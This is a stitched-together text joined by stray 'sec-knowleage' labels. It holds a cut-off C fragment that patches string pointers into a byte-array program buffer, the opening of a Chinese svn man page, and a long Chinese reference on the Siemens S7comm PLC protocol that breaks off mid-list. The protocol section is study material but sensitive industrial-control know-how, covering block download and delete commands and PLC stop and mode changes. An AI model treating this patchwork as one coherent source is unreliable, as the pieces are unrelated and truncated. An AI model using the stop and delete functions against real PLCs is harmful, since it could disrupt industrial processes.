('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x00), (0x02), ('\x00'), ('\x00'), ('\x00'), ('\x00')}; char program[sizeof(program_text)]; const char *init_program(int *argcptr,char *argv[]) { memcpy(program,program_text,sizeof(program_text)); *((void **)(&program[0])) = argv; *((int **)(&program[12])) = argcptr; *((const char **)(&program[37])) = str0; *((const char **)(&program[68])) = str1; *((const char **)(&program[93])) = str2; *((const char **)(&program[197])) = str3; *((const char **)(&program[269])) = str4; *((const char **)(&program[294])) = str5; *((const char **)(&program[398])) = str6; *((const char **)(&program[485])) = str65_P; *((const char **)(&program[495])) = str8; *((const char **)(&program[505])) = str84; *((const char **)(&program[515])) = str49; *((const char **)(&program[525])) = str83; *((const char **)(&program[535])) = str86; *((const char **)(&program[545])) = str37; *((const char **)(&program[555])) = str83; *((const char **)(&program[565])) = str58; *((const char **)(&program[575])) = str16; *((const char **)(&program[585])) = str22; *((const char **)(&program[595])) = str8; *((const char **)(&program[605])) = str75; *((const char **)(&program[615])) = str20_p8C; *((const char **)(&program[625])) = str21; *((const char **)(&program[635])) = str22; *((const char **)(&program[645])) = str298; *((const char **)(&program[655])) = str84; *((const char **)(&program[665])) = str29; *((const char **)(&program[675])) = str26; *((const char **)(&program[685])) = str298; *((const char **)(&program[695])) = str22; *((const char **)(&program[705])) = str29; *((const char **)(&program[715])) = str3_0_f; *((const char **)(&program[725])) = str20_p8C; *((const char **)(&program[735])) = str32; *((const char **)(&program[745])) = str298; *((const char **)(&program[755])) = str84; *((const char **)(&program[765])) = str37; *((const char **)(&program[775])) = str86; *((const char **)(&program[785])) = str37; *((const char **)(&program[795])) = str75; *((const char **)(&program[805])) = str79; *((const char **)(&program[815])) = str65_P; *((const char **)(&program[825])) = str19_0; *((const char **)(&program[835])) = "0"; *((const char **)(&program[845])) = str9_3; *((const char **)(&program[855])) = str94; *((const char **)(&program[865])) = str137; *((const char **)(&program[881])) = str65_P; *((const char **)(&program[891])) = str9_3; *((const char **)(&program[901])) = str84; *((const char **)(&program[911])) = str49; *((const char **)(&program[921])) = str83; *((const char **)(&program[931])) = str86; *((const char **)(&program[941])) = str37; *((const char **)(&program[951])) = str83; *((const char **)(&program[961])) = str54; *((const char **)(&program[971])) = str20_p8C; *((const char **)(&program[981])) = str79; *((const char **)(&program[991])) = str83; *((const char **)(&program[1001])) = str58; *((const char **)(&program[1011])) = str79; *((const char **)(&program[1021])) = str60; *((const char **)(&program[1031])) = str84; *((const char **)(&program[1041])) = str29; *((const char **)(&program[1051])) = str63; *((const char **)(&program[1061])) = str37; *((const char **)(&program[1071])) = str83; *((const char **)(&program[1081])) = str65_P; *((const char **)(&program[1091])) = str20_p8C; *((const char **)(&program[1101])) = str68; *((const char **)(&program[1111])) = str83; *((const char **)(&program[1121])) = str70; *((const char **)(&program[1131])) = str84; *((const char **)(&program[1141])) = str68; *((const char **)(&program[1151])) = str79; *((const char **)(&program[1161])) = str86; *((const char **)(&program[1171])) = str75; *((const char **)(&program[1181])) = str86; *((const char **)(&program[1191])) = str32_P_54; *((const char **)(&program[1201])) = str84; *((const char **)(&program[1211])) = str79; *((const char **)(&program[1221])) = str86; *((const char **)(&program[1231])) = str29; *((const char **)(&program[1241])) = str49; *((const char **)(&program[1251])) = str83; *((const char **)(&program[1261])) = str84; *((const char **)(&program[1271])) = str1_2; *((const char **)(&program[1281])) = str86; *((const char **)(&program[1291])) = str37; *((const char **)(&program[1301])) = str75; *((const char **)(&program[1311])) = str79; *((const char **)(&program[1321])) = str65_P; *((const char **)(&program[1331])) = str19_0; *((const char **)(&program[1341])) = "o"; *((const char **)(&program[1351])) = str9_3; *((const char **)(&program[1361])) = str94; *((const char **)(&program[1371])) = str137; *((const char **)(&program[1381])) = str96; return program; }
sec-knowleage
.\" You can view this file with: .\" nroff -man [filename] .\" .TH svn 1 .SH NAME svn \- Subversion 命令行客户端工具 .SH "SYNOPSIS 总览" .TP \fBsvn\fP \fIcommand\fP [\fIoptions\fP] [\fIargs\fP] .SH "OVERVIEW 概述" Subversion 是一个版本控制系统,允许保存旧版本的文件和目录 (通常是源代码),保存一个记录何人,何时,为何作出修改等等信息的日志,与 CVS,RCS 或者 SCCS 工具类似。 \fBSubversion\fP 保存着主控源文件的单一拷贝。这份拷贝被称为代码 ``仓库'' (``repository'');它包含所有的信息,从而可以从中获取这些文件在先前任何时间的版本。 . 要获得有关 Subversion 项目的更多信息,请访问 http://subversion.tigris.org。 . Subversion 及其工具的文档,包括对 \fBsvn\fP,\fBsvnadmin\fP,\fBsvnserve\fP 和 \fBsnvlook\fP 程序详细的使用说明和解释,历史背景,哲学探讨和追求等等,可以从 http://svnbook.red-bean.com/ 找到。 . 运行 `svn help' 来阅读内建的工具文档。
sec-knowleage
# S7comm 相关 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **简介** S7 协议的 TCP/IP 实现依赖于面向块的 ISO 传输服务。S7 协议被封装在 TPKT 和 ISO-COTP 协议中,这使得 PDU(协议数据单元)能够通过 TCP 传送。 它用于 PLC 编程,在 PLC 之间交换数据,从 SCADA(监控和数据采集)系统访问 PLC 数据以及诊断目的。 S7Comm 以太网协议基于 OSI 模型: | layer | Protocol | | - | - | | 7 Application Layer | S7 communication | | 6 Presentation Layer | S7 communication | | 5 Session Layer | S7 communication | | 4 Transport Layer | ISO-on-TCP (RFC 1006) | | 3 Network Layer | IP | | 2 Data Link Layer | Ethernet | | 1 Physical Layer | Ethernet | 从 wireshark 协议分级可以看出排列 TPKT,应用层数据传输协议,介于 TCP 和 COTP 协议之间。这是一个传输服务协议,主要用来在 COTP 和 TCP 之间建立桥梁; COTP,按照维基百科的解释,COTP 是 OSI 7 层协议定义的位于 TCP 之上的协议。COTP 以“Packet”为基本单位来传输数据,这样接收方会得到与发送方具有相同边界的数据; 第7层,S7 communication,这一层和用户数据相关,对 PLC 数据的读取报文在这里完成。 在具体的报文中,TPKT 的作用是包含用户协议(5~7层)的数据长度(字节数);COTP 的作用是定义了数据传输的基本单位(在S7Comm中 PDU TYPE:DT data)。 S7Comm 数据作为 COTP 数据包的 Payload ,第一个字节总是 0×32 作为协议标识符。 S7Comm 协议包含三部分: - Header - Parameter - Data 根据实现的功能不同,S7 comm 协议的结构会有所不同。 --- ## S7Comm-Header S7Comm 的头,定义了该包的类型、参数长度、数据长度等,其结构如图所示: 所以,S7Comm Header 的格式为: - 0 (unsigned integer, 1 byte): Protocol Id,协议 ID,通常为 0×32; - 1 (unsigned integer, 1 byte): ROSCTR,PDU type,PDU 的类型,一般有以下值: - 0×01 - JOB(Request: job with acknowledgement):作业请求。由主设备发送的请求(例如,读/写存储器,读/写块,启动/停止设备,设置通信); - 0×02 - ACK(acknowledgement without additional field):确认响应,没有数据的简单确认(未遇到过由 S7 300/400 设备发送得); - 0×03 - ACK_DATA(Response: acknowledgement with additional field):确认数据响应,这个一般都是响应JOB的请求; - 0×07 - USERDATA:原始协议的扩展,参数字段包含请求/响应 ID(用于编程/调试,读取 SZL,安全功能,时间设置,循环读取…)。 - 2~3 (unsigned integer, 2 bytes): Redundancy Identification (Reserved),冗余数据,通常为 0×0000; - 4~5 (unsigned integer, 2 bytes): Protocol Data Unit Reference,it’s increased by request event。协议数据单元参考,通过请求事件增加; - 6~7 (unsigned integer, 2 bytes): Parameter length,the total length (bytes) of parameter part。参数的总长度; - 8~9 (unsigned integer, 2 bytes): Data length,数据长度。如果读取 PLC 内部数据,此处为 0×0000;对于其他功能,则为 Data 部分的数据长度; 其中最重要的字段就是 ROSCTR,它决定了后续参数的结构 在响应数据包中,还有可能存在错误信息,其错误信息结构为: - 10 (unsigned integer, 1 bytes): Error class,错误类型: - 11 (unsigned integer, 1 bytes): Error code,错误代码; --- ## Job和Ack_Data S7Comm 中 Job(作业请求) 和 Ack_Data(确认数据响应) 中的 Parameter 项的第一个字段是 function(功能码),其类型为 Unsigned integer,大小为 1 byte。决定了其余字段的结构、消息的目的。 - **建立通信(Setup communication [0xF0])** 建立通信在每个会话开始时被发送,然后可以交换任何其他消息。它用于协商 ACK 队列的大小和最大 PDU 长度,双方声明它们的支持值。ACK 队列的长度决定了可以同时启动而不需要确认的并行作业的数量。PDU 和队列长度字段都是大端。 当 PDU 类型为 Job 时,建立通信功能中 Parameter 的结构,如下图: 具体的 Parameter 结构,如下: - 1 (Unsigned integer, 1 byte): Parameter part: Reserved byte in communication setup pdu,保留字节; - 2 (Unsigned integer, 2 bytes): Max AmQ (parallel jobs with ack) calling; - 3 (Unsigned integer, 2 bytes): Max AmQ (parallel jobs with ack) called; - 4 (Unsigned integer, 2 bytes): Parameter part: Negotiate PDU length。协商 PDU 长度。 - **读取值(Read Var [0x04])** 数据读写操作通过指定变量的存储区域,地址(偏移量)及其大小或类型来执行。 当 PDU 类型为 Job 时,那么其 S7Comm 结构,如下图: 所以,接下来的 Parameter 字段是 item count(项目个数),其类型为 Unsigned integer,大小为 1 byte。 item 的结构如下: - 0 (Unsigned integer, 1 byte): Variable specification,确定项目结构的主要类型,通常为 0×12,代表变量规范; - 1 (Unsigned integer, 1 byte): Length of following address specification,本 Item 其余部分的长度; - 2 (Unsigned integer, 1 byte): Syntax Ids of variable specification,确定寻址模式和其余项目结构的格式; - 3(Unsigned integer, 1 byte): Transport sizes in item data,确定变量的类型和长度: - 4~5 (Unsigned integer ,2 byte): Request data length,请求的数据长度; - 6~7 (Unsigned integer, 2 byte): DB number,DB 模块的编号,如果访问的不是 DB 区域,此处为 0×0000; - 8 (Unsigned integer, 1 byte):: Area,区域类型: - 9~11(Unsigned integer, 3 byte): Address,地址。 PDU 类型为 Ack_Data 时,其 S7Comm 的结构,如下图: 其 Parameter 只有 function、item count 两个字段。Data 结构如下: - 0 (Unsigned integer, 1 byte): Return code,返回代码: - 1 (Unsigned integer, 1 byte): Transport size,数据的传输尺寸: - 2~3 (Unsigned integer, 2 bytes): Length,数据的长度; - 4~4+length (?): Data,数据; - ? (Unsigned integer, 1 byte): Fill byte,填充字节。 - **写入值(Write Var [0x05])** Write Var 中 Parameter 的结构跟读取值(Read Var[0x04])一样,但是 Write Var 还需写入值,所以 Write Var 比 Read Var 多了一个 Data 项。结构如下: 由此,Data 的结构为: - 0 (Unsigned integer, 1 byte): Return code,返回代码,这里是未定义,所以为 Reserved(0×00); - 1 (unsigned integer, 1 byte): Transport size,确定变量的类型和长度: - 2-3 (unsigned integer, 2 bytes): Length,写入值的数据长度; - 4 (1 byte): Data,写入的值; - 5 (unsigned integer, 1 byte): Fill byte,填充字节,如果数据的长度不足 Length 的话,则填充; PDU 类型为 Ack_Data 时,其 S7Comm 的结构,如下图: Parameter 也只有 function、item count 两个字段。而 Data 中也只有一个 Return code 字段,其结构如下: - 0 (Unsigned integer, 1 byte): Return code,返回代码: - **下载** 下载是 Step7 发送块数据给 PLC。在西门子设备上,程序代码和(大部分)程序数据存储在块中,这些块有自己的头和编码格式。 在西门子设备中有8种不同类型的功能块,这些块在上/下载请求中用特殊的ASCII文件名寻址。这个文件名的结构如下: - 1 (1 byte): File identifier(ASCII),文件标识符。其有_ (Complete Module)、$ (Module header for up-loading)两种文件标识符; - 2 (2 bytes): Block type,块类型。 - 3 (5 bytes): Block number,块编号; - 4 (1 byte): Destination filesystem(ASCII),目标的文件系统。其有三种文件系统: - P (Passive (copied, but not chained) module):被动文件系统 - A (Active embedded module):主动文件系统 - B (Active as well as passive module):既主既被文件系统 例如:文件名为_0A00001P(文件标识是_,块类型为DB,块的编号为00001,目标块的文件系统是P。),用于将DB 1复制到被动文件系统或从被动文件系统复制。 在下载过程中,先是 Step7 向 PLC 发送一个请求下载的 Job,PLC 收到后则回复一个 Ack_Data。在发送完所有字节后,Step7 向 PLC 发送一个下载结束的 Job 来关闭下载会话。时序图如下 下载有3种不同的功能类型: - 请求下载(Request download [0x1A]) 当 PDU 类型为 Job 时,Request download [0x1A] 没有 Data,其 Parameter 的结构,如下 - 1 (1 byte): Function Status,功能码状态; - 2 (2 bytes): for all unknown bytes in blockcontrol; - 3 (4 bytes): 无意义,一般为0x00000000; - 4 (1 byte): filename length,文件名长度; - 5 (? bytes): filename, default is 9 byte,文件名,长度一般为9个字节; - 1 (1 byte): File identifier(ASCII),文件标识符。其有_ (Complete Module)、$ (Module header for up-loading)两种文件标识符; - 2 (2 bytes): Block type,块类型。 - 3 (5 bytes): Block number,块编号; - 4 (1 byte): Destination filesystem(ASCII),目标的文件系统。其有P(Passive (copied, but not chained) module)、A (Active embedded module)、B (Active as well as passive module)三种文件系统; - 6 (1 byte): Length part 2 in bytes,参数的第二部分长度,也就是接下来的字段长度; - 7 (1 byte): Unknown char(ASCII); - 8 (6 bytes): Length load memory in bytes(ASCII); - 9 (6 bytes): Length of MC7 code in bytes(ASCII)。 PDU 类型为 Ack_Data 时,Request download [0x1A] 的 Parameter 中只有一个 function。 - 下载块(Download block [0x1B]) 下载是 Step7 发送块数据给 PLC。当 PDU 类型为 Job 时,Download block [0x1B] 也没有 Data,其 Parameter 的结构,如下 - 1 (1 byte): Function Status,功能码状态; - 2 (2 bytes): for all unknown bytes in blockcontrol; - 3 (4 bytes): 无意义,一般为0x00000000; - 4 (1 byte): filename length,文件名长度; - 5 (? bytes): filename, default is 9 byte,文件名,长度一般为9个字节; - 1 (1 byte): File identifier(ASCII),文件标识符。其有_ (Complete Module)、$ (Module header for up-loading)两种文件标识符; - 2 (2 bytes): Block type,块类型。 - 3 (5 bytes): Block number,块编号; - 4 (1 byte): Destination filesystem(ASCII),目标的文件系统。其有P(Passive (copied, but not chained) module)、A (Active embedded module)、B (Active as well as passive module)三种文件系统; Download block [0x1B] 的 Parameter 与 Request download [0x1A] 的 Parameter 的第一部分相同 那 PDU 类型为 Ack_Data 时,Download block [0x1B] 有 Parameter 和 Data,其 Parameter 的结构,如下 - 1 (1 byte): Function Status,功能码状态; - 1 (Unsigned integer, 2 bytes): Length,数据长度; - 2 (Unsigned integer, 2 bytes): Unknown byte(s) in blockcontrol,未知字节; - 3 (Label,data_length-4 bytes): Data,数据; - 下载结束(Download ended [0x1C]) 当 PDU 类型为 Job 时,Download ended [0x1C] 也没有 Data,其 Parameter 的结构,如下: - 1 (1 byte): Function Status,功能码状态; - 2 (2 bytes): for all unknown bytes in blockcontrol; - 3 (4 bytes): 无意义,一般为 0x00000000; - 4 (1 byte): filename length,文件名长度; - 5 (? bytes): filename, default is 9 byte,文件名,长度一般为9个字节; - 1 (1 byte): File identifier(ASCII),文件标识符。其有_ (Complete Module)、$ (Module header for up-loading)两种文件标识符; - 2 (2 bytes): Block type,块类型。 - 3 (5 bytes): Block number,块编号; - 4 (1 byte): Destination filesystem(ASCII),目标的文件系统。其有P(Passive (copied, but not chained) module)、A (Active embedded module)、B (Active as well as passive module)三种文件系统; PDU 类型为 Ack_Data 时,Download ended [0x1C] 的 Parameter 中只有一个 function。 - **上传** 上传是 PLC 发送块数据给 Step7 在上传过程中,先是 Step7 向 PLC 发送一个开始上传的 Job,PLC 收到后则回复一个 Ack_Data,并告诉 Step7 块的长度、上传会话 ID。然后 PLC 继续上传块数据到 Step7,直到 Step7 收到所有字节。最后,Step7 发送结束上传的作业请求来关闭上传会话。时序图如下 上传有3种不同的功能类型 - 开始上传(Start upload [0x1D]) 当 PDU 类型为 Job 时,Start upload [0x1D] 没有 Data,其 Parameter 的结构,如下 - 1 (1 byte): Function Status,功能码状态; - 2 (2 bytes): for all unknown bytes in blockcontrol; - 3 (4 bytes): 上传的会话ID,此时为0x00000000; - 4 (1 byte): filename length,文件名长度; - 5 (? bytes): filename, default is 9 byte,文件名,长度一般为9个字节; - 1 (1 byte): File identifier(ASCII),文件标识符。其有_ (Complete Module)、$ (Module header for up-loading)两种文件标识符; - 2 (2 bytes): Block type,块类型。 - 3 (5 bytes): Block number,块编号; - 4 (1 byte): Destination filesystem(ASCII),目标的文件系统。其有P(Passive (copied, but not chained) module)、A (Active embedded module)、B (Active as well as passive module)三种文件系统; 那 PDU 类型为 Ack_Data 时,Start upload [0x1D] 的 Parameter 的结构,如下 - 1 (1 byte): Function Status,功能码状态; - 2 (2 bytes): for all unknown bytes in blockcontrol; - 3 (4 bytes): 上传的会话ID,告诉Step7上传会话ID; - 4 (Unsigned integer, 1 byte): Blocklengthstring Length; - 5 (Character string): Blocklength,块的长度; - 上传(Upload [0x1E]) 当 PDU 类型为 Job 时,Upload [0x1E] 也没有 Data,其 Parameter 的结构,如下 - 1 (1 byte): Function Status,功能码状态; - 2 (2 bytes): for all unknown bytes in blockcontrol; - 3 (4 bytes): 上传的会话ID,告诉Step7上传会话ID; PDU 类型为 Ack_Data 时,Upload [0x1E] 有 Parameter 和 Data,其 Parameter 的结构,如下 - 1 (1 byte): Function Status,功能码状态; - 1 (Unsigned integer, 2 bytes): Length,数据长度; - 2 (Unsigned integer, 2 bytes): Unknown byte(s) in blockcontrol,未知字节; - 3 (Label,data_length-4 bytes): Data,数据; - 上传结束(End upload [0x1F]) 上传结束的过程,即为所有数据上传完成后,Step7 发送结束上传的作业请求,PLC 收到后就关闭会话,然后返回一个响应。 当 PDU 类型为 Job 时,End upload [0x1F] 也没有 Data,其 Parameter 的结构,如下 - 1 (1 byte): Function Status,功能码状态; - 2 (2 bytes): Error code,错误代码: - 3 (4 bytes): 上传的会话ID,告诉 Step7 上传会话 ID; 那 PDU 类型为 Ack_Data 时,End upload [0x1F] 的 Parameter 中只有一个 function。 - **程序调用服务(PI service [0x28])** 程序调用是用于在 PLC 执行修改执行/内存状态的日常工作。这些命令可以用于启动或停止 PLC 控制程序、激活或删除程序块。 当 PDU 类型为 Job 时,PI service [0x28] 没有 Data,只有 Parameter,那 Parameter 的结构,如下: - 1 (7 bytes): Unknown; - 2 (Unsigned integer, 2 bytes): Parameter block length; - 3 (?bytes): Parameter block,参数; - 4 (Unsigned integer, 1 byte):String length,PI service的字符串长度; - 5 (Character string, ASCII):PI (program invocation) Service name,程序调用服务名。 Parameter 包含两个主要部分: - 服务名称 - 参数:取决于方法类型,可以将它们看作是它的参数 服务名称及其相关参数的示例: - _INSE:激活设备上下载的块,参数是块的名称(比如:OB 1)。 - _DELE:从设备的文件系统中删除一个块,该参数也是该块的名称。 - P_PROGRAM:设置设备的运行状态(启动、停止、复位)。 - _GARB:压缩 PLC 内存。 - _MODU:将 ram 复制到 ROM,参数包含文件系统标识符(A/E/P)。 如果服务调用的参数是块的话,那么 Parameter block 的结构如下: - 1 (1 byte): Number of block; - 2 (1 byte): Unknown,默认为 0x00; - 3 (? bytes): filename,文件名: - 1 (2 bytes, ASCII): Block type,块类型。 - 2 (5 bytes, ASCII): Block number,块编号; - 3 (1 byte, ASCII): Destination filesystem(ASCII),目标的文件系统。其有 P(Passive (copied, but not chained) module)、A (Active embedded module)、B (Active as well as passive module)三种文件系统; - **PLC STOP [0x29]** PLC STOP 基本上跟程序调用服务(PI service [0x28])一致,唯一的区别就是它没有 Parameter block,而它的 PI service 为 P_PROGRAM。 --- ## Userdata协议拓展 UserData 用于编程/调试、读取 SZL、安全功能、时间设置,循环读取等 Parameter 结构如下 - 1 (3 bytes):参数头(Parameter head); - 2 (1 byte):参数长度(Parameter length),它的可能是8字节或12字节; - 3 (1 byte):未知定义; - 4 (1/2 byte,高位):参数类型(Type); - 5 (1/2 byte,Low nibble):功能组(Function group); - 6 (1 byte):子功能码(SubFunction); - 7 (1 byte):序号。 当 PDU 类型为 UserData 时,其 S7Comm 结构,如图所示,图中蓝色部分为 S7Comm 头部,橘色为 Parameter 部分. - **转换工作模式(Mode-transition [0x0])** 当功能组为转换工作模式(Mode-transition)时,请求报文中是没有 Data 部分的,而主要起作用的是子功能码(Subfunction),常见的子功能码有: - STOP(0x00):STOP 模式; - Warm Restart(0x01):暖启动; - RUN(0x02):RUN 模式; - Hot Restart(0x03):热启动; - HOLD(0x04):HOLD 模式; - Cold Restart(0x06):冷启动; - RUN_R (H-System redundant)(0x09):H-System 冗余运行; - LINK-UP(0x0B):LINK-UP 模式; - UPDATE(0x0C):UPDATE 模式。 - **程序员命令(Programmer commands [0x1])** 程序员命令(Programmer commands)主要是工程师用于编程或调试,比如:监视/修改变量、读取修改诊断数据。所有的子功能码有: - 请求诊断数据(Request diag data (Type 1)):0x01; - 变量表(VarTab):0x02; - 读取诊断数据(Read diag data):0x0c; - 移除诊断数据(Remove diag data):0x0e; - 清除(Erase):0x0f; - 强制(Forces):0x10; - 请求诊断数据(Request diag data (Type 2)):0x13; 请求报文和响应报文,如图所示 请求报文的结构如下: - 1 (1 byte) : 返回码; - 2 (1 byte) :Transport sizes,指的数据类型,通常有 bit、byte等; - 3 (2 bytes) : 往后的数据长度; - 4 (1 byte) : Unknown; - 5 (1 byte) : 报文类型(type of data),分为请求(0x14)、响应(0x04); - 6 (2 bytes) : Item count和Item data的长度(Byte count); - 7 (20bytes) : Unknown; - 8 (2bytes) : Item 个数; - 9 (varibalebytes) : Item 1; - 1 (1 byte) : 区域(Area); - 2 (1 byte) : 长度(Length (repetition factor)); - 3 (2 bytes) : 模块号(DB number); - 4 (2 bytes) : 偏移地址(Startaddress)。 - n (varibalebytes) : Item n; 响应报文结构如下: - 1 (1 byte) : 返回码; - 2 (1 byte) :数据类型(Transport sizes),通常有 bit、byte 等; - 3 (2 bytes) : 往后的数据长度; - 4 (1 byte) : Unknown; - 5 (1 byte) : 报文类型(type of data),分为请求(0x14)、响应(0x04); - 6 (2 bytes) : Item count 和 Item data 的长度(Byte count); - 7 (4bytes) : Unknown; - 8 (2bytes) : Item 个数; - 9 (varibalebytes) : Item 1; - 1 (1 byte) : 返回码; - 2 (1 byte) :数据类型(Transport sizes),通常有 bit、byte 等; - 3 (2 bytes) : 往后的数据长度; - 4 (varibale bytes) : Data。 - n (varibalebytes) : Item n; - **循环数据(Cyclic data [0x2])** 循环数据(Cyclic data)是用于循环读取内存数据、取消订阅循环数据,比如:DB、M 等。所有的子功能码有: - 0x01:读取内存数据(Memory),比如 DB、M 等; - 0x04:取消订阅或禁用循环数据(Unsubscribe (disable) cyclic data); - 0x05:读取内存数据(Memory),跟 0x01 一样,但仅用于 S7-400。 请求报文的 Data 结构如下: - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes),通常有 bit、byte 等; - 3 (2 bytes) : 以此往后的数据长度; - 4 (2 bytes) : Item 个数; - 5 (1byte) : 扫描间隔(Interval timebase); - 6 (1byte) : 时间间隔(Interval timebase); - 7 (varibale bytes) : Item 1; - 1 (1 byte) : Variable specification; - 2 (1 byte) : 以下规范地址的长度(Length of following address specification); - 3 (1 byte) : Syntax Id; - ...(不同的 Syntax Id,则结构不一样。) - ... - n (varibale bytes) : Item n; 响应报文的 Data 结构如下: - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 以此往后的数据长度; - 4 (2 bytes) : Item 个数; - 5 (varibale bytes) : Item 1; - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 以此往后的数据长度; - 4 (varibale bytes) : 数据; - ... - n (varibale bytes) : Item n; - **块功能(Block functions [0x3])** 块功能(Block functions)是用于操作块,所有的子功能码有: - 0x01:列举所有块(List blocks); 在 PLC 中有各种块,比如 DB、OB、FB,可以通过 block functions 中的子功能码 list blocks 进行块的列举 请求报文的 Data 结构如下: - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 以此往后的数据长度; 响应报文的 Data 结构如下: - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 以此往后的数据长度; - 4 (4 bytes) : Item 1; - 1 (2 bytes) : 块的类型(Block type); - 2 (2 bytes) : 块的个数(Block count); - ... - n (4 bytes) : Item n; - 0x02:列举块类型(List blocks of type); 请求报文的 Data 部分中需要携带块类型(Block type) - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 以此往后的数据长度; - 4 (2 bytes):块的类型(Block type) 响应报文 Data 结构如下: - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 以此往后的数据长度; - 4 (4 bytes) : Item 1; - 1 (2 bytes) : 块编号(Block number); - 2 (1 byte) : Unknown,可能是块的标记; - 3 (1 byte) : 语言(Block language) 常见的块语言: - 0x00:Not defined,未定义; - 0x01:AWL; - 0x02:KOP; - 0x03:FUP; - 0x04:SCL; - 0x05:DB; - 0x06:GRAPH; - 0x07:SDB; - 0x08:CPU-DB,是由 PLC 程序创建的 DB 块; - 0x11:SDB (after overall reset),经常出现在 SDB 1 和 SDB 2中; - 0x12:SDB (Routing),经常出现在 SDB 999 和 SDB 1000 中; - 0x29:ENCRYPT,块通过 S7-Block-Privacy 加密; - ... - n (4 bytes) : Item n; - 0x03:读取块的信息(Get block info)。 请求报文的 Data 部分中需要携带块类型(Block type)、块编号(Block number)、文件系统(filesystem),Header、Parameter 结构 请求报文的 Data 结构如下: - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 以此往后的数据长度; - 4 (2 bytes):块的类型(Block type); - 5 (5 bytes):块编号(Block number); - 6 (1 byte):文件系统(Filesystem); 响应报文 Data 结构如下: - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 以此往后的数据长度; - 4 (2 bytes):块类型(Block type); - 5 (2 bytes):信息的长度(Length of Info),以此往后的长度; - 6 (2 bytes):未知信息(Unknown blockinfo); - 7 (2 bytes):常数3(Constant 3),一直是 pp; - 8 (1 byte):未知信息(Unknown byte(s) blockinfo); - 9 (1 byte):块标志(Block flags); - 10 (1 byte):语言(Block language); - 11 (1 byte):字块(Subblk type),常见的字块有: - 0x08:OB; - 0x0a:DB; - 0x0b:SDB; - 0x0c:FC; - 0x0d:SFC; - 0x0e:FB; - 0x0f:SFB; - 12 (2 bytes):块编号(Block number); - 13 (4 bytes):需要的装载存储器大小(Length load memory); - 14 (4 bytes):安全(Block Security); - 15 